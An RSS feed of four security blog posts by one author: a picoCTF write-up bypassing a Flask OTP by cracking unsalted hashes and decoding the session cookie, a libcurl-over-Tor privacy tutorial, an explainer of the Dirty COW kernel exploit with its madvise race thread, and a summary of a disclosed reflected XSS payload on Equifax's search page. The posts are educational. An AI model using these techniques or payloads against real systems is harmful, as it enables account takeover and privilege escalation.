<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Advik Kant</title>
    <description>The latest articles on Forem by Advik Kant (@deoxys).</description>
    <link>https://forem.com/deoxys</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3056227%2Fcf99dbb4-f8f7-44b0-bb85-c5e36c832a08.jpeg</url>
      <title>Forem: Advik Kant</title>
      <link>https://forem.com/deoxys</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/deoxys"/>
    <language>en</language>
    <item>
      <title>No FA - PicoCTF Writeup: 2FA Bypass via Request Manipulation</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Thu, 26 Mar 2026 17:28:07 +0000</pubDate>
      <link>https://forem.com/deoxys/no-fa-picoctf-writeup-2fa-bypass-via-request-manipulation-21bm</link>
      <guid>https://forem.com/deoxys/no-fa-picoctf-writeup-2fa-bypass-via-request-manipulation-21bm</guid>
      <description>&lt;h2&gt;
  
  
  Walkthrough
&lt;/h2&gt;

&lt;p&gt;The name of the challenge is No Fa, here’s the link: &lt;a href="https://play.picoctf.org/practice/challenge/765?category=1&amp;amp;difficulty=2&amp;amp;page=1" rel="noopener noreferrer"&gt;https://play.picoctf.org/practice/challenge/765?category=1&amp;amp;difficulty=2&amp;amp;page=1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets see the live instance&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi2jbdz8i5v3q956twgu0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi2jbdz8i5v3q956twgu0.png" alt=" " width="800" height="330"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we need some sort of login credentials to access the website&lt;/p&gt;

&lt;p&gt;Lets see what we get in the linked files&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg3hlt9fdceignc0wcdwi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg3hlt9fdceignc0wcdwi.png" alt=" " width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;here we have a sqlite users.db database dump containing USERNAME, USER EMAIL ID and HASHED PASSWORDS (these passwords seem to be unsalted meaning they can be easily cracked)&lt;/p&gt;

&lt;p&gt;First I extracted all the usernames and hashed passwords cleanly&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ta2sk71cb3nejhqgnsk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ta2sk71cb3nejhqgnsk.png" alt=" " width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some of these hashed passwords can be easily cracked via crackstation because they use commonly used passwords and are unsalted as I previously said. Let's pick one cred at random and test them in crackstation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8f1mpub4haxh9jv3rtur.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8f1mpub4haxh9jv3rtur.png" alt=" " width="800" height="291"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Bingo so we got the username and the password login creds&lt;br&gt;
&lt;code&gt;admin : apple@123&lt;/code&gt;&lt;br&gt;
Now lets login with these creds, we are redirected to OTP verification&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgktqz1sn7a7hday09flc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgktqz1sn7a7hday09flc.png" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;if we see the code properly given in the &lt;a href="http://app.py" rel="noopener noreferrer"&gt;app.py&lt;/a&gt; file we will see that&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhev14u9e1srjb0yjipje.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhev14u9e1srjb0yjipje.png" alt=" " width="596" height="214"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;the secret OTP is stored inside the session cookie and no server side validation is being done, so if we intercept the OTP request via burp and somehow manage to decode the session cookie we would be able to get the OTP and get access. Lets see how we do that&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm33t9cpdymhvb4iau4k2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm33t9cpdymhvb4iau4k2.png" alt=" " width="786" height="317"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since the application uses flask to create session cookies, we can use a tool like Flask unsign to decode the session cookie and get the OTP ( &lt;a href="https://github.com/Paradoxis/Flask-Unsign" rel="noopener noreferrer"&gt;https://github.com/Paradoxis/Flask-Unsign&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0jr6ii4plpjbki2886rx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0jr6ii4plpjbki2886rx.png" alt=" " width="800" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;flask-unsign --decode -c "YOUR_SESSION_COOKIE"&lt;br&gt;
{'logged': 'false', 'otp_secret': '8369', 'otp_timestamp': 1774541649.0009327, 'username': 'admin'}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we have got the OTP as 8369 we will enter this OTP and get access to the page&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbf3nrted4m8ydnrd9msu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbf3nrted4m8ydnrd9msu.png" alt=" " width="800" height="184"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;and voila we have access to the page and there's our beautiful flag. &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;There were two core security vulnerabilities that were implemented in this flask application &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User passwords were stored as weak, unsalted hashes, making them trivially crackable via rainbow tables on sites like CrackStation&lt;/li&gt;
&lt;li&gt;The 2FA mechanism had no server-side validation. The OTP field was enforced only on the client side, meaning the server never actually verified whether a valid OTP was submitted&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb89j8mmgy4w9dh7dq7z2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb89j8mmgy4w9dh7dq7z2.png" alt=" " width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Building a safer cURL using TOR</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Mon, 03 Nov 2025 17:46:03 +0000</pubDate>
      <link>https://forem.com/deoxys/building-a-safer-curl-using-tor-367i</link>
      <guid>https://forem.com/deoxys/building-a-safer-curl-using-tor-367i</guid>
      <description>&lt;p&gt;Have you ever noticed that the running one simple cURL command can turn a private click into a series of public breadcrumbs like being visible to ISPs, DNS resolvers and anyone snooping the network. One way of making cURL command secure is by using TOR network.&lt;/p&gt;

&lt;p&gt;Before we improve the cURL command, lets see a basic cURL command and see how it works.&lt;/p&gt;

&lt;h2&gt;
  
  
  Working of cURL
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl https://example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above curl command is a simple GET request to the URL example.com. The command then retrieves HTML information about the page. Lets deep dive into this whole process, we will keep it simple and straight to the point.&lt;/p&gt;

&lt;p&gt;1) cURL parses your commands and flags and determines which protocol to use based on it like HTTPS,FTP,HTTP etc.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhlnzgm0zv50dazdrptws.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhlnzgm0zv50dazdrptws.png" alt=" " width="800" height="517"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2) The system resolver then looks up the hostname in your local DNS server to get the IP address. This is the part where DNS leakage can take place as the ISP can easily observe your DNS queries.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp10wiginy6sbsrwnm1xp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp10wiginy6sbsrwnm1xp.png" alt=" " width="800" height="497"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3) cURL then opens a TCP socket on the target IP address and does the usual TCP 3 way handshake(SYN,SYN-ACK,ACK).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5iwf4vje43y29m96zw7e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5iwf4vje43y29m96zw7e.png" alt=" " width="471" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;4) If the URL uses HTTPS, a TLS handshake follows. The client and server negotiate ciphers, validate the server certificate (SNI may be sent in plaintext), and derive encryption keys. If certificate validation fails, curl reports an error.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvntal5g9frjrmjjuhg7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvntal5g9frjrmjjuhg7.png" alt=" " width="751" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;5) cURL then constructs the actual HTTP request, add headers like User-Agent, Host etc. and sends it over the TCP/TLS channel.&lt;/p&gt;

&lt;p&gt;6) Server then responds to the request and adds its own headers with its own status code.&lt;/p&gt;

&lt;p&gt;So that was a quick rundown of how cURL works, however there are quite a few problems that can happen when the above process takes place like&lt;br&gt;
1) DNS Leaking&lt;br&gt;
2) Snooping of information by the ISP&lt;br&gt;
3) Man in the middle (MITM) attacks&lt;br&gt;
4) Unencrypted traffic exposure when using HTTP instead of using HTTPS&lt;/p&gt;

&lt;p&gt;Lets see how we can improve and mitigate these problems while using TOR network, we will go over the whole implementation of TOR network over the curl command in C.&lt;/p&gt;
&lt;h2&gt;
  
  
  TOR implementation of cURL in C aka TorConnect
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpkrcusez0vbe08p0dcmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpkrcusez0vbe08p0dcmd.png" alt=" " width="800" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So in order implement a simple cURL command in C, we need to use libcurl. It's a simple client side library that basically powers the main component of the cURL command. libcurl and its documentation (&lt;a href="https://curl.se/libcurl/" rel="noopener noreferrer"&gt;https://curl.se/libcurl/&lt;/a&gt;) will basically help us to set up the whole TOR network. &lt;/p&gt;

&lt;p&gt;for the next step we will set up a local TOR proxy using SOCKS5 instead of using DNS in the normal version of cURL. We will set up this local TOR proxy at our localhost (127.0.0.1:9050). This basically prevents DNS leaks and avoids MITM attacks. In order to set this up we will use the following commands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl_easy_setopt(curl,CURLOPT_PROXY,"127.0.0.1:9050"); // sets up local TOR proxy       

curl_easy_setopt(curl,CURLOPT_PROXYTYPE,CURLPROXY_SOCKS5_HOSTNAME); // prevents DNS leaking
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Make sure that you have TOR installed in your system.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt update
sudo apt install tor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we have TOR network set up we can just use this command to send request to the webpage, this request will travel securely through the TOR network tunnel.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl_easy_setopt(curl,CURLOPT_URL,"https://example.com");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Security note: Tor anonymizes routing but does not provide end-to-end encryption outside the Tor network. So we should always use HTTPS and keep TLS verification enabled (CURLOPT_SSL_VERIFYPEER / CURLOPT_SSL_VERIFYHOST) to prevent MITM at the exit node.&lt;/p&gt;

&lt;p&gt;Those are the main steps involved in anonymizing your cURL. If you’re interested in viewing the complete source code, check out my GitHub repository: &lt;a href="https://github.com/EpicNerdGuy/TorConnect" rel="noopener noreferrer"&gt;TorConnect&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;TorConnect is a small step toward making network requests safer and more private by routing traffic through the Tor network, preventing DNS leaks, and hiding your real IP. Of course, it’s not perfect. Using Tor can slow down your connection, and some websites may block Tor exit nodes altogether. Still, TorConnect shows that privacy and usability can coexist if built carefully. It’s a reminder that staying anonymous online isn’t just about using the right tools, but also about using them wisely.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxw5wrsnsq3sqpmefpyv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxw5wrsnsq3sqpmefpyv.png" alt=" " width="500" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>programming</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Dirty COW exploit that broke linux in 2016</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Wed, 29 Oct 2025 18:16:28 +0000</pubDate>
      <link>https://forem.com/deoxys/dirty-cow-exploit-that-broke-linux-in-2016-48ml</link>
      <guid>https://forem.com/deoxys/dirty-cow-exploit-that-broke-linux-in-2016-48ml</guid>
      <description>&lt;h2&gt;
  
  
  Introduction-
&lt;/h2&gt;

&lt;p&gt;You may have heard of dirty COW (&lt;a href="https://nvd.nist.gov/vuln/detail/cve-2016-5195" rel="noopener noreferrer"&gt;CVE-2016-5195&lt;/a&gt;) exploit if you are a seasoned veteran in the red teaming space. So what’s the big deal with it. Well back in 2016, this 150 lines of C code exploit would allow any attacker to gain root access to your Linux system with just exploiting a simple race condition.&lt;/p&gt;

&lt;p&gt;Lets see what this vulnerability is all about &lt;/p&gt;

&lt;h2&gt;
  
  
  What is COW (Copy on Write)-
&lt;/h2&gt;

&lt;p&gt;In Linux processes which share the same memory are treated as read-only mode as long as they point to the same page. When one of them wants to write to these only then the Linux kernel makes private copy of the file for that particular process. This is referred to as COW (Copy-on-Write).&lt;/p&gt;

&lt;h2&gt;
  
  
  Dirty COW vulnerability-
&lt;/h2&gt;

&lt;p&gt;Now imagine if we want to write to /etc/passwd file on a Linux which stores user account information but we only have read permission and not any write permission how do we exploit this COW property.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation Overview-
&lt;/h2&gt;

&lt;p&gt;Well here is how some attackers thought about exploiting it.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Map the target file like (/etc/passwd) into memory so that we can exploit the COW property.&lt;/li&gt;
&lt;li&gt;Spawn two racing threads.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;i) Thread A- tries to write into that memory but obviously kernel recognizes this and tries to get it the private copy.&lt;/p&gt;

&lt;p&gt;ii) Thread B- Use madvise() function, this function basically tells the kernel to invalidate or remove the same memory page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;madviseThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;200000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;madvise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MADV_DONTNEED&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"madvise %d&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;This creates a race condition for the kernel as one thread is requesting a COW for the page and the other thread is trying to invalidate it.&lt;/li&gt;
&lt;li&gt;In the midst of this confusion, the kernel instead of handing the private copy of the page to the user, grants the write operations on the file.&lt;/li&gt;
&lt;li&gt;This way we can get a write operation on the /etc/passwd file and create a new root user and get full access to the Linux system. Here's the full exploit code &lt;a href="https://www.exploit-db.com/exploits/40839" rel="noopener noreferrer"&gt;https://www.exploit-db.com/exploits/40839&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Fix and Patches-
&lt;/h2&gt;

&lt;p&gt;So in order to fix this mess they-&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;tightened COW logic-&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;this basically ensured that the kernel would always create the private copy of memory page first no concurrent function like madvise() could interrupt it.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Follow up architecture patches-&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Some CPU architectures had some race conditions which were fixed.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>ai</category>
      <category>security</category>
    </item>
    <item>
      <title>Reflected XSS in Equifax Search Endpoint</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Tue, 19 Aug 2025 13:15:13 +0000</pubDate>
      <link>https://forem.com/deoxys/reflected-xss-in-equifax-search-endpoint-3hag</link>
      <guid>https://forem.com/deoxys/reflected-xss-in-equifax-search-endpoint-3hag</guid>
      <description>&lt;p&gt;In December 2022, a security researcher reported a reflected cross-site scripting (XSS) vulnerability affecting the search functionality on the Equifax website. The issue was submitted through the company’s vulnerability disclosure program on &lt;a href="https://hackerone.com/reports/1818163" rel="noopener noreferrer"&gt;HackerOne&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerability Description
&lt;/h3&gt;

&lt;p&gt;The vulnerable endpoint was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://www.equifax.com/personal/help/search?search=&amp;lt;input&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a user entered a search term, the application reflected that value directly into a JavaScript function on the returned page. For example, the word &lt;code&gt;broook&lt;/code&gt; appeared in the following script block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="nx"&gt;Analytics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trackEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;emptySearch&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="na"&gt;internalSearchTerm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;broook&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;numOfSearchResultsReturned&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the search parameter was not properly sanitized, an attacker could inject arbitrary JavaScript code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Proof of Concept
&lt;/h3&gt;

&lt;p&gt;The researcher supplied a payload that modified the parameters of the &lt;code&gt;Analytics.trackEvent&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F21nkvcagdeef7ot95f0n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F21nkvcagdeef7ot95f0n.png" alt=" " width="800" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

